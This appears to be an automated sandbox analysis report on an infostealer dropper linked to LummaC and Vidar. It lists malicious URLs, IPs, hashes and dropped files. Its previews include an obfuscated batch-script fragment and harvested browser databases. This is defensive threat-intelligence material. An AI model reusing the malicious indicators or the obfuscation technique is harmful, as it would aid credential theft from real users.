	https://gogvo.com/redir.php?url=https://atratejarat.com/wp-content/red/DhmgvV	Get hash	malicious	Unknown	Browse	136.243.5.53
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.130.188.57
	nshsh4.elf	Get hash	malicious	Mirai	Browse	95.217.252.201
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	94.130.188.57
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	188.40.81.35

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	setup.msi	Get hash	malicious	Unknown	Browse	94.130.188.57 149.154.167.99
	Setup.exe	Get hash	malicious	Unknown	Browse	94.130.188.57 149.154.167.99
	Setup.exe	Get hash	malicious	Unknown	Browse	94.130.188.57 149.154.167.99
	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	94.130.188.57 149.154.167.99
	installer.msi	Get hash	malicious	Unknown	Browse	94.130.188.57 149.154.167.99
	GoldenContinent.exe	Get hash	malicious	Vidar	Browse	94.130.188.57 149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	94.130.188.57 149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.130.188.57 149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\245347\Dry.com	Wine.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	GoldenContinent.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	Full-Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Full-Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse

Created / dropped Files

C:\ProgramData\OHVS0RIMGLNY\BSRIEK

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\OHVS0RIMGLNY\E3E3OP

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08436842005578409
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vIn:51zkVmvQhyn+Zoz67n
MD5:	2CD2840E30F477F23438B7C9D031FC08
SHA1:	03D5410A814B298B068D62ACDF493B2A49370518
SHA-256:	49F56AAA16086F2A9DB340CC9A6E8139E076765C1BFED18B1725CC3B395DC28D
SHA-512:	DCDD722C3A8AD79265616ADDDCA208E068E4ECEBE8820E4ED16B1D1E07FD52EB3A59A22988450071CFDA50BBFF7CB005ADF05A843DA38421F28572F3433C0F19
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\OHVS0RIMGLNY\EKXT2N

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\OHVS0RIMGLNY\GDT0R9

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\OHVS0RIMGLNY\JWTR1V

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\OHVS0RIMGLNY\KNGDBS

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\OHVS0RIMGLNY\Q9RQQIMOZ

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\OHVS0RIMGLNY\UKX479

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\OHVS0RIMGLNY\VSJ5XTJ5X

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.36170862061985
Encrypted:	false
SSDEEP:	48:SfNaoCtTECifNaoCqPCqfNaoCBC5fNaoCklI0UrU0U8CkQ:6NnCtTECKNnCwCyNnCBCVNnCH0UrU0Ub
MD5:	679996B81C50D92A2350C21D0435855A
SHA1:	CC7AC60AE481C310EB0E14C571BE59D2580B0285
SHA-256:	0F26A6EF3AA1D5905FFFC21618D68AE3CB9CC813A16E216F3E9B574AE7631BB6
SHA-512:	A2A387C735ED2359205D9E8914C3E22912796A8A00ABD09A62E4A2A4CA79C497834612DAB5E15F1FAB803FB8864CD3F8A5B3187D04DA944724E17AD0103EF236
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/507FD03D7763A0807809AC4BFB737878",.. "id": "507FD03D7763A0807809AC4BFB737878",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/507FD03D7763A0807809AC4BFB737878"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/49120268499C74A909177616D9EEC705",.. "id": "49120268499C74A909177616D9EEC705",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/49120268499C74A909177616D9EEC705"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Temp\245347\Dry.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Wine.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: GoldenContinent.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Full-Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Full-Setup.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\245347\b

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	273971
Entropy (8bit):	7.999316760386263
Encrypted:	true
SSDEEP:	6144:U4AyLxh/qeIF4xk08pIehmr0jZlEy5Euq1d+0JO8vr2eUpWcZcV5TeU:UFyLLqH4e3bll5EBf+qOa2Pl45V
MD5:	0C7D5F0DB7D1BE49FC2285C64D3C45AA
SHA1:	942803613A17B0735F80D32DAB9BE6B87A0E472F
SHA-256:	D49D834CB452343C64C7B9716F5B6D6032CE8B81E04995CCD1AF130FF863143D
SHA-512:	52C3CACDD5A798243BDF191D0F673C63BEFD5297284E2841DE8EF0588B103B1192E60D50E22E5572FA160834BE7D052AA328556ED182A1CC56C9BE55AB76CCC8
Malicious:	false
Preview:	Vz.5..Ff._);.S...jK.;.E......5...mv...%.F.a..R-A..bv"g'5.3..b.e.$...[$D!..>..uT.j.....NY.K.p...ig.O@=..U_r.R......W.~/\|......R.&.s...A-.y..d.....p...8T....$..b.k......gT.....2.."f...0...T../..0,..#X.1.j...W.%)@\....3.B\|........m.0...V7.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R}...N.8.'.F...h..............R.."...R.."..kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..t. ..,P..Myn.2..t.W............<..R.......R.."..m.....8..r..5...x..2).U.j....R>..#.~.....b(..\|......\.....k.LX....=.#=.....a.'....-??!?..H.`u.......f...g...I..Wz .......7.Pr..+.Q~..S.e.w..@...tj...)...=.6`)PP;v,8.lA_>y.m.......a....C.........c{...9,....=Ip....6..d.g...c8.XCloB.....U.M.\|......od.8...\|..0k.&Tc.

C:\Users\user\AppData\Local\Temp\Another

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	7.998259787787389
Encrypted:	true
SSDEEP:	1536:k9iLtvCFjxENuqEuyf18I+F8tR2LiIXZYB+X6M4jw8oLynlk6iGTST/eeNhwCl:5tKtxE5Euyf1d+F8L2vXZYBO4Hc0r2TF
MD5:	5535AA11BB8A32622DADB4CB7D45071C
SHA1:	76B4B6221174F1B11370D7AA2A89A5996624C7F8
SHA-256:	EAD59F9D65F7830E35A9C213B07938B7BC57513692ECBCF66B4BE4AC82350EBA
SHA-512:	B14A53EA33B6F44EF4FFFB76060955F9AE85BFED79CA206359FFCDF80AA33D21ABFF41D526E43BA55BC33048FD8A237A2C854E92856F292CB4825304ACFBE3BD
Malicious:	false
Preview:	..YcDf.5...^f......e>:......!...s.d..2.j...i.b..=.Y.z......0...H..j.oW2...rj.srN...7.V..0..?.hSW...wl.q....V..}`T.q.u[.NV5I....r.a"...FK'.@W.._..zh>.x..d..R....p..../.Nd.....f8.F.....2pI.hm......x.;..:......../,.@?......2..~..I@.+j.S....X..ku..............t....Mq..+zB....HY..".B]......8...!C.)`.....AZ5p.....z.J..>..q..;...v.a.........._R.P...F..i.L....+.r\|@>K.9..y...+..n....{...g...5.m.....59..c.Y!.0.n.'..M[....?.s#..h.N.......`.[.A......:.s..~..:g=..(NcI.......u/Z.C...I.A.^..Fw.D}....+..@.C78....F....t..c.c.,xUl.....b..j}.Hj4..~..&q=%~......9."dR..q..6,t....^._a6.xM.%...3...%.p.-..81.j(............H-....D..~:-.M...Cq. .t...9.6Rx...%_30...L..........6.x\D..@9`..)..\...P..z^p..I.V.M0.y......(.7.....k.....h.....+.j.&.8.....B)..b..O/r..7....%.M..J.C..".UDk.I.... 3...dT;.n...=m.0F.R.....r..wn....`...d.Tn.}........T.5.#........d<T....Y...i......bQ. .\|\n5x...\Q...#y.K..._.(.{.!_...7{.TXzJ....x\|...XF<L..@H.....g.-...<..."M.....1.........Aj.

C:\Users\user\AppData\Local\Temp\App

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	ASCII text, with very long lines (798), with CRLF line terminators
Category:	dropped
Size (bytes):	17809
Entropy (8bit):	5.131067698498597
Encrypted:	false
SSDEEP:	384:epq5NAPPiFt6JXCvH2/gFl3eF2OEgV9Qqnx:epfPPCt6JXgjlmck/x
MD5:	15687A16A1310BB6DFCB1FB9B8D052B3
SHA1:	BDA139691A5C3F90F7059D84DBAD98354748832F
SHA-256:	08F36DA3D5E25C26D14E49BC46995AA1A5842AD368A9E02244DB850F77D4A70F
SHA-512:	9DFAFA0CF6E7A54037CC53C155C7214580A90B4066D3B469A966F53D363AE63A6A4D9BB08A8DE64796E8C6B36E6A5E8374069952628A81B13EBFE93ABBC51574
Malicious:	false
Preview:	Set Deviant=I..XbxCooling-Monthly-Records-Furnishings-Consolidation-Represents-Tribal-Bumper-Pill-..DJiTransexuales-Supported-Jonathan-Deadly-Rel-Mistress-Later-Scientists-Salary-..anLanguage-French-Kansas-Tuner-Drunk-..DcRespect-Morning-Words-..nZAcquired-Schools-Mere-Harley-Penalties-Spider-Profile-..LKQxSent-Permission-Ag-Rapids-..cNRatios-Emotions-..DDGTim-Describe-..Set Favour=S..paDollars-Bull-Ghana-Background-Researcher-Accreditation-Norway-..zhTexas-Allowing-Uzbekistan-Toolbox-Nv-Asus-Plots-Golf-..kUHelmet-Broker-Warcraft-Accurately-Ol-Competing-Ugly-..aWRoutes-U-Exploring-Diff-Airfare-Budget-Defense-..iPCArtwork-Proven-Film-Features-Wit-Lets-..Set Speaks=y..ZeMattress-Drug-..aiHChallenging-Bank-Hospitality-Mystery-Tony-Affair-Elementary-..WPSFrank-Opinion-Eugene-Puzzles-Future-..uLCorn-Metadata-Sheriff-Austria-Division-Second-After-Finite-South-..FmLatino-Launches-Kidney-Hazard-Congressional-..naZnImplementation-Presents-Lowest-..Set Centered=X..ffPContained-..vChSuit-Graduate

C:\Users\user\AppData\Local\Temp\App.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (798), with CRLF line terminators
Category:	dropped
Size (bytes):	17809
Entropy (8bit):	5.131067698498597
Encrypted:	false
SSDEEP:	384:epq5NAPPiFt6JXCvH2/gFl3eF2OEgV9Qqnx:epfPPCt6JXgjlmck/x
MD5:	15687A16A1310BB6DFCB1FB9B8D052B3
SHA1:	BDA139691A5C3F90F7059D84DBAD98354748832F
SHA-256:	08F36DA3D5E25C26D14E49BC46995AA1A5842AD368A9E02244DB850F77D4A70F
SHA-512:	9DFAFA0CF6E7A54037CC53C155C7214580A90B4066D3B469A966F53D363AE63A6A4D9BB08A8DE64796E8C6B36E6A5E8374069952628A81B13EBFE93ABBC51574
Malicious:	false
Preview:	Set Deviant=I..XbxCooling-Monthly-Records-Furnishings-Consolidation-Represents-Tribal-Bumper-Pill-..DJiTransexuales-Supported-Jonathan-Deadly-Rel-Mistress-Later-Scientists-Salary-..anLanguage-French-Kansas-Tuner-Drunk-..DcRespect-Morning-Words-..nZAcquired-Schools-Mere-Harley-Penalties-Spider-Profile-..LKQxSent-Permission-Ag-Rapids-..cNRatios-Emotions-..DDGTim-Describe-..Set Favour=S..paDollars-Bull-Ghana-Background-Researcher-Accreditation-Norway-..zhTexas-Allowing-Uzbekistan-Toolbox-Nv-Asus-Plots-Golf-..kUHelmet-Broker-Warcraft-Accurately-Ol-Competing-Ugly-..aWRoutes-U-Exploring-Diff-Airfare-Budget-Defense-..iPCArtwork-Proven-Film-Features-Wit-Lets-..Set Speaks=y..ZeMattress-Drug-..aiHChallenging-Bank-Hospitality-Mystery-Tony-Affair-Elementary-..WPSFrank-Opinion-Eugene-Puzzles-Future-..uLCorn-Metadata-Sheriff-Austria-Division-Second-After-Finite-South-..FmLatino-Launches-Kidney-Hazard-Congressional-..naZnImplementation-Presents-Lowest-..Set Centered=X..ffPContained-..vChSuit-Graduate

C:\Users\user\AppData\Local\Temp\Critics

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	105472
Entropy (8bit):	6.627402952919146
Encrypted:	false
SSDEEP:	3072:H80PtCZEMnVIPPBxT/sZydTmRxlHS3NxrHSB9:cSCOMVIPPL/sZ7HS3zw
MD5:	8496CEF888EE804F2B8A44171481E40A
SHA1:	90FCDE8C353D79AE02BFC946D708D35FEDFEA64F
SHA-256:	0D8671285841832D972CA2576CDB83F412AF8433CF33C511F652912E7FD7E29B
SHA-512:	158C70A8804E73DFB25A1265328FADC26903C5B035A991AAA570F0EF98F89D616C635E4820E926FB8E00E1C20CFCF3FD441DCC0CA5EEFA109DD5BC23E0E4C61D
Malicious:	false
Preview:	.....8.u..N...9..j.Pj(.6.~..=..I..E...E........u.............h.....u...^.b...PQWj..............}.....................f.}.....u..u.Wt.j..0j............t%j..7..\.I....u..u.W.....t.j...j......E.f.M............}.........u.f....u.Wt.j...j..S....E......w..QH..3.@......E.PV..4.I..E.P....I..E.PV..x.I..E.;E.......;E........E.;E.......;E.~............;...................u....{...j.j.SPW.....N........P.......Pj.j.W....I.SW.%....V...<..........E......j.VWS....I..E.QQ...E..]..E..\$....E..]..E...$.0VWS....I.VWS....I.S....I..U..M.E..j.X.E....E..E....*....E.j.X.u..E....E....E.S.U..M......u.j..u..u.S......M....P.E.....PVWS....I......E.j.X.u..E....E....E.S.U..M..4....u.j..u..u.S.....M....P.E........M.A...+.P.A...+.PVWS....I..<...t+H...t..u......c....}..^.......P....E...G....u.VWS....I..U..M..0....E.9..)M...1...95.)M........ ...P....I..%.)M.......V....I...S............xH.......V.u.h8....]...t..T)M...................V.u.h4....6...t(.T)M............<...h...<...`.......X...V.u.h3....u...x.I

C:\Users\user\AppData\Local\Temp\Doug

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	116736
Entropy (8bit):	6.265669967004004
Encrypted:	false
SSDEEP:	3072:t/Dde6u640ewy4Za9coRC2jfTq8QLeAg0Fuz08XvBNbX:t/Dd314V14ZgP0JaAOz04pd
MD5:	37F28BCCBCAEA4719409C72AA6385586
SHA1:	083AD006B92745C976989BC5FB76E7187D81A597
SHA-256:	7101D14A5FCF7B47A9C6B809155BEA70121C61D2DF7E2244573204C2190CCF45
SHA-512:	105DE3A0358C0E95B573DD1FC590B27C33F8033158B28A523A5EF9BDBFAA1F488E6B0F7556D6E46D96E23F00392F4EEBDED0DCEA31926A05823EA1B5D4FFF22F
Malicious:	false
Preview:	.L.R.u..;...}......u.2..9.E.f9.t..5H.I.PShC...Q..SShN....7..9..(M.u......f........_^[].(.U..Q.}..SVWu<.}..u...................I..............F.........u{2._^[.....E.P.E.P.u......t.M..@)M..}.......T)M............<.t.<.t.<.t.<.t..y..u.....I..u..F........T)M.......F..A..~..t..........y...U..E(...SV...W;.u.j.X.....P.^M...U,......;.u...E ;.u.......M$;.u.j.Yj.Q.u.QP.u..u.Sj.h`.L.R.u...:...u.....u.2..@.M..U...........j.P...YY.E.Pj.h.....6..H.I..=.(M..u.f........_^[..(.U..E(...u....0.SV.....t...........P.L.....E,...u.......M ...u.......U$...u......3.CSQ.u.RQ.u..u.V.u.hT.I.P.u..:9...u.....u.2..(P..l.I.PPh.....6..H.I..=.(M..u.f........^[].(.U..E(@..S..#E(V.....P..K...M,...U A....#M,...u.......E$...u......3.CSQ.u.PR.u..u.V.u.h,.L.Q.u..8...u.....u.2...j.....I..FL.=.(M..u.f........^[].(.U..E(SVW...u...........P.dK...M,.] A....#M,...u.j [.}$...u.j _3.RQ.u.RR.u..u.PRh..I.Q.u...8...u.....tTf......3.}.f......3.Cf9.tt.E....f........E.f.......E0P.Q......WV..L......u.Q..<.I.2.M0...._^

C:\Users\user\AppData\Local\Temp\Eleven

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	128000
Entropy (8bit):	6.334318948869726
Encrypted:	false
SSDEEP:	3072:UZg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3laW2UDQWfu:UK5vPeDkjGgQaE/loUDtfu
MD5:	3B84985152CD93F2BD04BD909D7C902E
SHA1:	4BD3D6AF1E4ED7EFE357E707EC7E6AB2E3FF4EEE
SHA-256:	9DF8E69068B9CE01749FE0A515DB1554C05D491C3A5A4F80F8ABA060EA89950F
SHA-512:	051D3B9FA3D463D78D1AC971396DCB00D930A9E9C3F7A1278A7DD8027D1AB159F688F912D65D78ADA9F059D73526F987A36CAC0D5100CAE5491959DD059F89DD
Malicious:	false
